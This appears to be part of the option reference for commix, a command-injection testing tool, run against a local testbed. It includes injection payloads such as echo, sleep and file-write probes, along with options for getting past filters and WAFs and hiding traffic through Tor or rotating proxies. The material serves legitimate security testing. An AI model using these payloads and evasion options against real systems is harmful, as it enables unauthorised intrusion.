* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;NLZG=$(echo XIRYAB);[ ${#NLZG} -eq 6 ];
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1;NLZG=$(echo QEWTAJ);NLZG1=${#NLZG};sleep $((5*(6==$NLZG1)));
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1;echo YJUPNQ >/var/www/html/YJUPNQ.txt;
Option: --load-cookies=LOAD_COOKIES
This option reads the cookies of a file written in the Netscape/wget format, the one browsers and tools such as wget or curl export, and sends them with every request. It saves copying an authenticated session into --cookie by hand, which is error prone for a session made of several cookies.
Lines beginning with # are treated as comments, apart from the #HttpOnly_ prefix, which marks a cookie the browser keeps from scripts and says nothing about whether it should be sent.
Note
- The cookies are read once, when the scan starts. Use
--live-cookiesfor a session that is refreshed while the scan runs.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --load-cookies="cookies.txt"PoC (/scenarios/cookie/cookie(classic).php, cookies.txt
holding a single Netscape-format addr cookie line): the file is read once at the start, and the
cookie it carries is picked up for testing exactly as --cookie would:
[08:32:45] [info] Loading cookies from the 'cookies.txt' file.
[08:33:04] [info] Cookie parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --live-cookies=LIVE_COOKIES
This option reads the cookies afresh before every request, from a file that something else keeps up to date - a browser extension, or a script that logs in again when the session expires. It is what keeps a long scan alive against an application that rotates or times out its session, where a value provided once with --cookie would stop being accepted partway through.
The file may hold either the Cookie header as it would be sent, with or without the Cookie: prefix, or the same Netscape/wget format that --load-cookies reads.
Note
- A file that is missing or still empty is waited for, since whatever writes it may be logging back in.
- Where both this and
--load-cookiesare given, this one is used, as it is read again anyway.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --live-cookies="live_cookies.txt"PoC (/scenarios/cookie/cookie(classic).php, live_cookies.txt
holding a plain addr=127.0.0.1 line): the cookie is re-read before each request and tested the
same way:
[08:33:23] [info] Cookie parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --cookie-del=CDEL
This option allows you to specify a custom delimiter character to separate multiple cookies in the Cookie header. By default, cookies are split using the semicolon (;) character. However, in certain applications or testing environments - such as those using custom parsing logic or non-standard formatting - using an alternative delimiter (e.g., | or ,) may be necessary to ensure proper recognition and injection of individual cookie values.This is particularly useful when working with intercepted or reconstructed HTTP traffic that deviates from conventional formatting, or when fuzzing cookie-based injection points.
Note
- It is a single character. A longer value is refused on the command line, since it would split the header somewhere nothing asked it to and leave every cookie behind the first one reported as absent. Written as an escape (e.g.
"\n"), it counts as the one character it stands for.
python commix.py --url="http://commix-testbed/scenarios/stateful/cookie_del.php" --cookie="addr=127.0.0.1|lang=en" --cookie-del="|" --skip-urlencode --level=2PoC: this scenario parses the Cookie header by hand,
on | rather than ; - so --skip-urlencode is needed too, to let the separator itself arrive
unencoded. With both given, the two |-separated cookies are parsed apart correctly, and addr is
the one found injectable:
[info] Setting Cookie parameter 'addr' for tests.
[info] Cookie parameter 'addr' appears to be injectable via results-based classic command injection technique.
Switch: --http1.0
This option forces commix to send all outgoing requests using the legacy HTTP/1.0 protocol instead of the default HTTP/1.1.
Note
- Useful for interacting with legacy servers, troubleshooting protocol-specific issues, or working around situations where newer HTTP versions may be unstable or unsupported.
-
HTTP/1.0protocol does not keep connections open by default, so each request typically opens a new TCP connection. This can add extra overhead and slightly impact performance compared toHTTP/1.1, which reuses connections for faster communication. -
Warning: Servers that require
HTTP/1.1orHTTP/2may rejectHTTP/1.0requests or behave unexpectedly.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --http1.0PoC: every request line is sent as HTTP/1.0, and
Keep-Alive is turned off to match:
[08:33:45] [debug] Persistent (Keep-Alive) connections were disabled (incompatible with the HTTP/1.0 protocol).
GET /scenarios/regular/GET/classic.php?addr=127.0.0.1&EIVS=... HTTP/1.0
Option: -H HEADER, --header=HEADER
This option adds a single custom HTTP header to all HTTP requests sent by commix. It is useful for scenarios where a specific header is required - such as authentication, session identification, client emulation, or routing logic. The header is included exactly as provided and must follow the standard Header-Name: value format. This option is designed for situations where only one extra header is needed.
Note
- To add multiple headers, use the
--headers=HEADERSoption, which supports a newline-separated list.
python commix.py --url="http://commix-testbed/scenarios/custom-header/xff(classic).php" --header="X-Forwarded-For: 127.0.0.1*"PoC: the * marker puts the payload straight into
the custom header, and it comes back confirmed injectable:
(custom) X-Forwarded-For HTTP Header is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Identified the following injection point(s) with a total of 140 HTTP(S) requests:
Parameter: x-forwarded-for (HTTP Header)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo DVNIUO$((13+68))$(echo DVNIUO)DVNIUO;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1\nIFQI=$(echo WTZVDK)\n[ ${#IFQI} -eq 6 ]\n
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1;IFQI=$(echo XFPOMS);IFQI1=${#IFQI};sleep $((5*(6==$IFQI1)));
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1;IFQI=$(echo CPXAZP >/tmp/ATPPBS.txt);IFQI=$(cat /tmp/ATPPBS.txt);IFQI1=${#IFQI};sleep $((5*(6==${IFQI1})));
Option: --headers=HEADERS
This option allows you to define multiple custom HTTP headers simultaneously by passing them as a single string, with each header separated by a newline character (\n). All specified headers will be included in every HTTP request sent by commix. This feature is particularly useful when testing scenarios require multiple headers for authentication, user simulation, proxy routing, or to meet specific application requirements. Ensure that each header follows the Header-Name: value format and that newline separation is correctly handled by your shell or scripting environment.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--headers="Accept-Language: en-US\nUser-Agent: CustomAgent/1.0\nCache-Control: no-cache"PoC: all three headers ride along on every request, alongside the normal detection:
GET /scenarios/regular/GET/classic.php?addr=127.0.0.1&NSAJ=... HTTP/1.1
Accept-Language: en-US
Cache-Control: no-cache
[08:34:06] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Switch: --hpp
A filter and the application behind it do not have to agree about which of two same-named parameters counts, and where they disagree that difference is the way past the filter: a value it accepts goes in the occurrence it inspects, and the payload goes in the one the application reads.
Which occurrence the application reads belongs to the platform serving the page, so commix takes it from the banner - last for PHP, Ruby and the servers usually in front of them, first for JSP, Tomcat and ColdFusion - and says which it chose.
python commix.py --url="http://commix-testbed/scenarios/filters/hpp.php?addr=127.0.0.1" --hppNote
- It applies to ordinary GET and POST parameters. A JSON or XML body has no second occurrence to read, and is left alone.
- A platform that joins same-named parameters rather than choosing between them (ASP/ASP.NET) is reported rather than worked around: the joined value arrives with the separator inside it, and a shell has no comment that can absorb one, so nothing sent that way would run.
Option: --proxy=PROXY
This option routes every request commix sends through a proxy, given as scheme://address:port. The scheme says which kind of proxy it is - http, https, socks4 or socks5 - and http is assumed where none is given. A proxy is what lets you anonymize the traffic by hiding your original IP address, capture and log request/response data for analysis, bypass network restrictions such as firewalls or IP-based blocking, or read and edit every request in tools like Burp Suite or OWASP ZAP.
An HTTP proxy is named on each request. A SOCKS one is spoken by the socket underneath instead, so everything the run sends goes through it either way, and credentials given with --proxy-cred are carried by both.
Note
-
SOCKS4resolves names on this host rather than at the proxy, so the target's name is asked for in plain sight. commix says so once when that scheme is given;socks5resolves at the far end and does not. - A proxy given without a scheme is read as an
HTTPone, and a scheme that is none of the four ends the run rather than being guessed at.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --proxy="http://127.0.0.1:8080"python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --proxy="socks5://127.0.0.1:1080"Switch: --tor
This option enables commix to route its HTTP requests through the Tor network, effectively concealing your real IP address and enhancing privacy during exploitation or testing. By anonymizing your traffic, it helps protect your identity and reduces the risk of detection or tracking by target systems.
Note
- This option requires Tor service to be running.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --tor Option: --tor-port=TOR_PORT
This option allows you to override the default port used for Tor connections. It is particularly useful when your Tor service is configured to listen on a non-standard or custom port, ensuring that commix can correctly connect and route traffic through the Tor network without connectivity issues.
Note
- It takes a port number, between 0 and 65535, and requires the
--torswitch - nothing else reads it.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --tor --tor-port=9050Option: --tor-type=TYPE
This option says what kind of proxy the local Tor service is reached through: HTTP, SOCKS4 or SOCKS5.
Note
- Tor's own default is SOCKS5 on port 9050, which is what commix uses unless told otherwise.
- A type given here settles how
--tor-portis understood, so the two are usually given together.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --tor --tor-type=SOCKS5Switch: --check-tor
This switch asks a Tor-aware page whether the request arrived over the Tor network, and ends the run if it did not. Given without --tor, it answers the same question about whatever proxy is in use.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --tor --check-torOption: --auth-url=AUTH_URL
Specify the full URL of the login page to enable automated authentication before the exploitation process begins. This feature allows commix to handle authenticated sessions by automatically submitting the necessary login credentials, simulating a real user login. Upon successful authentication, commix captures and stores the relevant session data - such as access tokens, session cookies, or headers - which it then reuses throughout the scan to maintain an authenticated context. This option is particularly useful for targeting applications that restrict access to injection points behind a login wall.
Note
- Use this in combination with
--auth-data, to fully configure the login process.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--auth-data="user=admin&pass=1234" \
--auth-url="http://commix-testbed/scenarios/stateful/login.php"Option: --auth-data=AUTH_DATA
This option specifies the authentication data to submit during the login process when interacting with targets that require user authentication. It typically consists of URL-encoded key-value pairs - such as a username and password - that are submitted as part of a POST request to the login form. This is essential for testing authenticated areas of an application, where session-based access is required to reach potential injection points.
Note
- Combine with
--auth-urlto specify the login form’s URL. - Use
--cookieto manually manage session persistence, if needed. - Some forms may use hidden tokens or CSRF protection; consider scripting or manual login capture if necessary.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--auth-data="user=admin&pass=1234" \
--auth-url="http://commix-testbed/scenarios/stateful/login.php"Option: --auth-type=AUTH_TYPE
Specify the HTTP authentication scheme to use when accessing the target application. This option allows commix to handle protected resources that require HTTP-level authentication by automatically including the appropriate Authorization headers in each request. It is essential for exploiting targets that enforce access control via HTTP auth mechanisms.
Αuthentication types:
-
Basic: Sends credentials encoded inBase64within theAuthorizationheader. -
Digest: Uses a challenge-response mechanism for improved security overBasic. -
Bearer: Sends a token (such as aJWT) in theAuthorizationheader for token-based authentication. -
PKI: Presents a client certificate while the connection is made, rather than sending anything in a header. Set with--auth-file, which implies this type.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--auth-type="basic" \
--auth-cred="username:password"Option: --auth-cred=AUTH_CREDENTIALS
This option allows you to supply credentials for HTTP authentication in the format username:password. These credentials are used to authenticate against web servers that protect resources using supported HTTP authentication schemes such as Basic or Digest authentication. This is particularly useful when testing applications or endpoints that require access control at the HTTP level (e.g., .htaccess-protected directories).
Note
- Use quotes if your password includes special characters.
- Avoid using this option on shared systems or leaving it in shell history; use tools like
history -dto remove sensitive entries.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --auth-cred="admin:password"Option: --auth-file=AUTHFILE
Some targets do not ask for credentials at all: they ask the client to prove who it is while the connection is being made, and answer nothing at all to one that cannot. There is no header to add for that and no challenge to answer, so it is not something --auth-cred can express.
This option takes a PEM file holding both the certificate and its private key, and presents it on every connection the run makes. Giving it is enough on its own - the authentication type follows from it, so --auth-type is not needed, though --auth-type="pki" may be given explicitly.
python commix.py --url="https://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --auth-file="/path/to/client.pem"Note
- The file must hold the certificate and the private key together, unencrypted. A file that is missing, or that is not a usable certificate, is reported before any request is sent.
- The target's own certificate is not verified, as with every other request commix makes: proving who is asking says nothing about whether the target's certificate is one a scan should refuse to talk to.
-
--auth-type="pki"without--auth-fileis refused, there being nothing to present.
Option: --abort-code=ABORT_CODES
This option specifies a comma-separated list of HTTP status codes that, if encountered during the scanning or exploitation process, will cause commix to immediately terminate execution. It is useful for preventing further interaction with the target when specific server-side errors, redirects, or access denials are encountered.
Note
- By configuring this option, users can avoid triggering rate-limiting mechanisms, intrusion detection systems, or simply halt the scan upon detecting conditions that indicate failure or unintended behavior.
- Use this option proactively when testing production environments or sensitive systems.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --abort-code="401,403"PoC (against a path the testbed does not serve): the run ends where the code is met, rather than testing a page that was never there:
[critical] Aborting due to detected HTTP code '404'.
Option: --ignore-code=IGNORE_CODES
This option specifies a comma-separated list of HTTP status codes that commix should treat as non-fatal during scanning. When any of the specified status codes are encountered in server responses, commix will not interpret them as errors and will continue scanning normally. This is particularly useful when targeting applications that return unconventional status codes (e.g., 404 or 403) as part of their normal behavior - even when injection points are accessible.
It can be useful for:
- Bypassing soft-blocking or decoy responses.
- Testing applications with custom error-handling logic.
- Handling scenarios where valid responses are misrepresented by unusual status codes.
Only the codes given here are ignored. A code met during the scan is reported once, so the same warning is not repeated for every request, but it is not added to this list: an error seen in passing does not become one commix was asked to overlook.
python commix.py --url="http://commix-testbed/scenarios/stateful/error_codes.php?addr=127.0.0.1" --ignore-code=500Switch: --force-ssl
This option forces commix to use HTTPS for all requests, regardless of whether the provided target URL begins with http://. When enabled, commix will automatically upgrade all connections to use SSL/TLS, ensuring that communication with the target server is encrypted.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --force-sslSwitch: --chunked
This option sends the POST data as an HTTP chunked transfer encoded body, splitting it into small chunks of random size, each carrying a random chunk extension. The chunks are chosen so that no single one of them holds a whole command or shell operator, and the request carries no Content-Length header.
Because the target puts the chunks back together before the application ever sees them, the data that reaches it is exactly what would have been sent otherwise. Only the way it travels changes, which makes this useful against a filter that inspects the body as one piece, or that skips a body whose length it was not told in advance.
Note
- This option requires POST data, provided with
--dataor through a request file. - Persistent (Keep-Alive) connections are turned off while it is used, as they cannot carry a chunked body.
python commix.py --url="http://commix-testbed/scenarios/stateful/chunked.php" --data="addr=127.0.0.1" --chunkedOption: --proxy-file=FILE
This option reads a list of proxies, one per line, and sends the run's requests through them instead of through a single proxy. Each line takes the same form as --proxy accepts, credentials included.
Note
- How often the proxy changes is set with
--proxy-freq. - A proxy that cannot be reached is dropped from the list for the rest of the run.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --proxy-file="/tmp/proxies.txt"Option: --proxy-freq=NUM
This option sets how many requests are sent through one proxy from the list given with --proxy-file before the next one is used.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --proxy-file="/tmp/proxies.txt" --proxy-freq=10Option: --proxy-cred=NAME:PASSWORD
This option gives the credentials a proxy asks for, for a proxy named with --proxy that carries none of its own.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--proxy="http://127.0.0.1:8080" --proxy-cred="admin:password"Switch: --ignore-proxy
This option ignores any system or environment proxy settings and connects directly to the target server. It ensures that commix bypasses all configured proxies, establishing a direct network connection.
Note
- It cannot be combined with
--proxyor with--tor, both of which set a proxy this switch would then discard. Either is refused before the run starts rather than left to cancel out.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --ignore-proxySwitch: --ignore-redirects
This option disables automatic following of HTTP redirects during the scanning process. When enabled, commix will stop after receiving redirect responses (such as HTTP 3xx status codes) instead of automatically following the Location header to the next URL.
Note
- By default, commix follows redirects to ensure seamless scanning through multi-step workflows.
- Use this option to gain finer control over response analysis and scanning logic.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --ignore-redirectsSwitch: --ignore-timeouts
A request that does not answer in time ordinarily counts against the run and, often enough, ends it. This switch skips such a request instead and carries on, which suits a target that answers slowly or unevenly rather than one that is unreachable.
Note
- How many requests were dropped this way is said once, at the end of the run.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --ignore-timeoutsOption: --randomize=PARAMS
This option gives a fresh random value to the named parameters on every request, which is what a target expects of an identifier, a nonce or a counter it will not accept twice. The value keeps the shape of the one it replaces: a number stays a number of the same length, a word stays a word.
Important
- A randomized parameter is never itself tested, since a payload placed in it would be rewritten by the next request.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --randomize="req_id"Option: --retry-on=REGEXP
This option names what an unusable answer looks like, as a regular expression. A response matching it is not read as a result: the request is sent again, up to the number of retries the run allows.
Every request is covered, including the two samples the page stability check compares - otherwise an answer saying nothing ran would set aside the very part of the page a result is read from. Where the retries run out on an answer that still matches, that is said once, and the page is read from there on as the target's own.
Anchor the expression to where the answer is printed rather than to its words alone. A page that explains itself carries those words in its prose as well, and an expression matching those matches every response - including the ones that ran the command.
python commix.py --url="http://commix-testbed/scenarios/stateful/flaky.php?addr=127.0.0.1" --retry-on="<b>Service temporarily"Options: --preprocess=SCRIPT, --postprocess=SCRIPT
A tamper script is handed the payload and hands one back, which is the right shape for what is done to a payload and the wrong one for everything done around it. These two options cover the rest: --preprocess is given the whole request before it is sent, and --postprocess is given the whole answer before anything reads it.
Each option takes one or more .py files, by comma. A preprocess script defines preprocess(req) and is handed the request object itself - so it can change the URL, the body and the headers together. A postprocess script defines postprocess(page, headers, code) and returns the three of them.
--preprocess — signing, checksums, envelopes on the way out. The script runs last, after everything commix does to the request, so what it is handed is the request as commix would otherwise have sent it - which is what makes signing it again possible:
import hashlib
def preprocess(req):
body = req.data or b""
req.add_unredirected_header("X-Body-Sha256", hashlib.sha256(body).hexdigest())python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic.php" --data="addr=1" --preprocess=sign.py--postprocess — unwrapping what the answer arrives in. The script runs before anything reads the response, and what it returns is what the whole run works from: the page every check compares, and the body every part of commix reads. So an answer unwrapped here is unwrapped for detection and for the extracted output alike, not merely where it is printed.
That matters when the wrapper is what hides the result. A target that returns its command output base64-encoded inside a JSON envelope is reported as not injectable, because commix cannot find anything of its own in that. Decoded first, the same target is found:
import base64, json
def postprocess(page, headers, code):
try:
wrapped = json.loads(page)
return base64.b64decode(wrapped["b64"]).decode("utf-8", "replace"), headers, code
except Exception:
return page, headers, codepython commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --postprocess=unwrap.pyNote
- The scripts are read and checked before the first target is touched, so one that does not exist, is not a
.pyfile, or does not define the function it has to, is reported straight away rather than mid-run. - A script that raises is reported by name along with what it raised, rather than as a traceback.
-
headersmay be returned as a plain dictionary; it is turned back into headers for whatever reads them afterwards. Apagereturned as bytes is decoded. - These run for every request the run makes, including the ones sent before any payload - so a script has to cope with an ordinary response as well as an injected one.
Option: --safe-url=URL
A target that logs out, locks an account or expires a token after so many odd-looking requests sees an ordinary one in between them when this option is given. The URL named here is visited every so many requests, and nothing is read from it.
Note
- How often it is visited is set with
--safe-freq. - Where the safe request needs a body, use
--safe-post; where it needs more than that,--safe-req. - The visit carries what the session is held by - the cookie, the
User-Agent, the referer - and none of what a test carries: no anti-CSRF token, no randomised parameters, and nothing an evasion turned on, so it is not the one request in the run that stands out.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--safe-url="http://commix-testbed/index.php" --safe-freq=5Option: --safe-post=DATA
This option gives the body sent to the URL named with --safe-url, for a page that keeps a session alive only when it is posted to.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--safe-url="http://commix-testbed/scenarios/stateful/login.php" \
--safe-post="user=admin&pass=admin" --safe-freq=5Option: --safe-req=FILE
This option does what --safe-url does, for a safe request that cannot be written as a URL and a body alone. The file holds a raw HTTP request of the kind a proxy writes out.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --safe-req="/tmp/safe.txt" --safe-freq=5 --technique=rPoC: with a local file holding a raw GET /index.php request, commix visits it periodically while it finds the same injection point - the run costs more requests than a plain one (8 rather than 7) because of the interleaved visit (--technique=r restricts the run to one technique, which is what makes the request count comparable):
Identified the following injection point(s) with a total of 8 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo TYOSXV$((91+75))$(echo TYOSXV)TYOSXV;
Option: --safe-freq=NUM
This option sets how many of the run's own requests are sent between visits to the safe URL.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--safe-url="http://commix-testbed/index.php" --safe-freq=5PoC: the run proceeds exactly as a plain one, visiting index.php alongside the target every five requests:
[info] Testing connection to the target URL.
[info] Checking whether some kind of WAF/IPS is protecting the target.
[info] Heuristic (basic) test shows that GET parameter 'addr' might be injectable (identified Command shell type: 'POSIX').
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --csrf-token=PARAM
A target that checks an anti-CSRF token rejects every payload before it reaches a shell, and the rejection looks exactly like a parameter that is not injectable. This option names the parameter the token travels in: the token is fetched again before each request and written into the one about to be sent, wherever that parameter lives - the query string, the body, a header of its own, or the cookie.
Note
- Where the option is not given, a parameter whose name looks like a token's is noticed and offered.
- The page the token is read from is the target itself unless
--csrf-urlsays otherwise.
python commix.py --url="http://commix-testbed/scenarios/stateful/csrf.php" --data="addr=127.0.0.1&csrf_token=aaaa" --csrf-token="csrf_token"PoC (--technique=rbt, to stay clear of a
file-based bug noted below): the token is re-read from the page before every request, and addr
is confirmed injectable:
[info] Ignoring the parameter 'csrf_token' that appears to hold anti-CSRF token 'aaaa'.
[info] POST parameter 'addr' appears to be injectable via results-based classic command injection technique.
[info] POST parameter 'addr' appears to be injectable via boolean-based blind command injection technique.
[info] POST parameter 'addr' appears to be injectable via time-based blind command injection technique.
Important
- Leaving the default technique set (
rbtf) on this scenario currently aborts the run before it reaches a verdict: once the file-based technique starts probing for a writable directory, that probe's own request (to a page with no form on it at all) is run through the same anti-CSRF lookup as the real target, fails to find the token there, and ends the whole run with[critical] The anti-CSRF token 'csrf_token' cannot be found at 'http://localhost:8081/'.- discarding the three techniques already confirmed. Skipping the file-based technique, as above, avoids it.
Option: --csrf-url=URL
This option names the page visited to pick up a fresh anti-CSRF token, for a target that hands it out somewhere other than the page under test.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--csrf-token="csrf_token" --csrf-url="http://commix-testbed/scenarios/stateful/token.php"PoC: stateful/token.php answers POST only - a plain
GET visit (what this option alone sends it) gets back {"error":"POST only"}, so no token is
found and commix names the page it looked at. Pair this with --csrf-method=POST below to actually
fetch one:
[critical] The anti-CSRF token 'csrf_token' cannot be found at 'http://localhost:8081/scenarios/stateful/token.php'.
Option: --csrf-method=METHOD
This option sets the HTTP method used when visiting the page named with --csrf-url, for a token that is handed out only in answer to something other than a GET.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--csrf-token="csrf_token" \
--csrf-url="http://commix-testbed/scenarios/stateful/token.php" --csrf-method=POSTPoC: fetched with POST this time, the page mints and
returns a token, and addr is confirmed injectable via all four techniques - with --csrf-url given,
the token is always re-fetched from this same page, regardless of which request triggered the fetch,
which is also what keeps this run clear of the file-based bug noted under --csrf-token above:
[debug] Using '9a1e3c1fcb2bf6c0a8c3b105275c9173' as the value of the anti-CSRF token 'csrf_token'.
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --csrf-data=DATA
This option gives the body sent to the page named with --csrf-url, for a token handed out only when something is posted to it.
python commix.py \
--url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" \
--csrf-token="csrf_token" \
--csrf-url="http://commix-testbed/scenarios/stateful/token.php" \
--csrf-method=POST --csrf-data="scope=addr"PoC: the scope field rides along in the body posted
to the token page (the page reads it back into its JSON, though the token itself does not depend
on it), and addr is confirmed injectable the same way as above:
[debug] Using '970b3f98d1ce7c4c2fa496bf44036289' as the value of the anti-CSRF token 'csrf_token'.
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --csrf-retries=NUM
This option sets how many times the token page is asked again when no token can be found on it. The default is 0, which asks once.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --csrf-token="user_token" --csrf-retries=3PoC: with no token ever on the page, commix retries three times before giving up, warning on each attempt:
[warning] Unable to find the anti-CSRF token 'user_token' at 'http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1'. Retrying the request.
[warning] Unable to find the anti-CSRF token 'user_token' at 'http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1'. Retrying the request.
[warning] Unable to find the anti-CSRF token 'user_token' at 'http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1'. Retrying the request.
[critical] The anti-CSRF token 'user_token' cannot be found at '...'. You can try to re-run by providing a valid value for the option '--csrf-url'.
Switch: --skip-urlencode
Payload data is percent-encoded before it is sent, so that the characters a shell needs survive the carrier they travel in. This switch sends it as it stands, which suits a target that reads the value without decoding it first.
python commix.py --url="http://commix-testbed/scenarios/stateful/unencoded.php?addr=127.0.0.1" --skip-urlencode --tamper=space2ifsPoC: the raw request line shows shell metacharacters
(|, brackets) sent as literal characters rather than percent-encoded - except the space, which
stays %20 regardless, since a literal space cannot sit inside an HTTP request line in the first
place. This scenario's own handler never decodes %20 back into one, so --tamper=space2ifs is
needed alongside --skip-urlencode to reach it at all - without it, every payload's command name
arrives glued to a literal %20 and fails to run:
GET /scenarios/stateful/unencoded.php?addr=GUZ;echo${IFS}UUXZCS... HTTP/1.1
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Switch: --skip-xmlencode
Payload data placed in a SOAP or XML body is encoded for the document, so that a character the payload needs does not end the element it sits in. This switch sends it as it stands, for a target that reads the body as text rather than as a document.
python commix.py \
--url="http://commix-testbed/scenarios/regular/POST/classic_xml.php" \
--data="<?xml version=\"1.0\"?><root><addr>1</addr></root>" --skip-xmlencodeThe target here is
classic_xml.php, not the plainclassic.phpthe example originally named - only the former actually parses a SOAP/XML body, so it is the one that demonstrates the switch.
PoC: commix recognises the XML body, asks to process it (answered by --batch), and finds the addr element injectable:
XML/SOAP data found in POST body. Do you want to process it? [Y/n] Y
[info] Setting POST SOAP/XML parameter 'addr' for tests.
[info] POST SOAP/XML parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: --timeout=SECONDS
This option sets the maximum time in seconds, that commix will wait for a response from the server before timing out. By default, the timeout is set to 30 seconds. Setting this appropriately ensures commix does not hang indefinitely or abort too early due to minor delays in the server response.
It can be useful when dealing with:
- Slow or high-latency servers: Increase the timeout to prevent premature connection termination.
- Unresponsive or rate-limited targets: Fine-tune the timeout to balance scan reliability and speed.
- Burp Suite or proxy delays: Accommodate additional processing time when routing through intercepting proxies.
A wait of less than three seconds is raised to three, and the run says which value it used instead. Under that, a target that is merely slow cannot be told from one that is not answering at all, and what gets reported is a parameter that is not injectable for a reason that was never the target's. Above that floor the value is read as it was given, fractions included - --timeout=7.5 waits seven and a half seconds.
Note
- Short timeouts may cause false negatives on slow or heavily loaded servers. Adjust accordingly.
- A negative wait is refused rather than raised, since nothing can be read from it.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --timeout=10PoC: a wait too short to believe an answer from is raised rather than refused, and named when it is:
[08:42:20] [warning] The value of the '--timeout' option is too low to tell a slow target from one that is not answering, so '3' is used instead.
Option: --retries=NUM
This option sets the maximum number of times commix will retry a failed connection attempt (default is 3). Each retry is triggered only after a connection failure, not on normal timeouts. This feature helps improve scan resilience without restarting the entire process.
It can be useful with:
- Intermittent connectivity.
- Unstable or rate-limited web servers.
- Proxies that occasionally drop connections.
Where several targets are being tested at once, with -m, -l or piped stdin, a target that does not answer is tried once rather than three times, so that one unreachable host does not hold up the others. Providing this option keeps the number given here for every target.
Note
- Use in combination with
--timeoutto fine-tune network robustness. - Higher retry counts increase reliability but may slow down scanning on consistently failing hosts.
- Setting
--retries=0disables retrying entirely, which is useful for quick scans against stable targets.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --retries=5Option: --delay=SECONDS
This option adds a specified delay in seconds, between each HTTP request sent during the scanning process. Introducing this delay slows down the testing pace, helping to reduce the risk of triggering rate-limiting mechanisms, Web Application Firewalls (WAFs), or other security mechanisms. By pacing requests more discreetly, this option helps evade automated defenses and makes the scan less likely to be detected or blocked.
The value is read as it was given, fractions included - --delay=0.4 paces the run at four tenths of a second. That is the pace itself, which is a different thing from the random variation added on top of it by --jitter.
A delay set here is the pace the scan starts at, not the only one it keeps to. Where the target begins answering as though it has had enough - 429 Too Many Requests and the other codes sent when a request is turned away - commix waits longer of its own accord, doubling what it waits up to eight seconds and saying so each time. Once the target answers normally again, the added wait is given back a second at a time, so a scan that provoked one burst does not stay slow for the rest of its run. This matters where a rate limit would otherwise be met with a parameter reported as not injectable, when the requests were simply being turned away.
Note
- Increasing delay improves stealth but prolongs scan duration.
- Use a delay suitable to the target’s security posture and response times.
- The added wait stops changing once a time-related technique needs it, since those techniques measure the very delay it would alter.
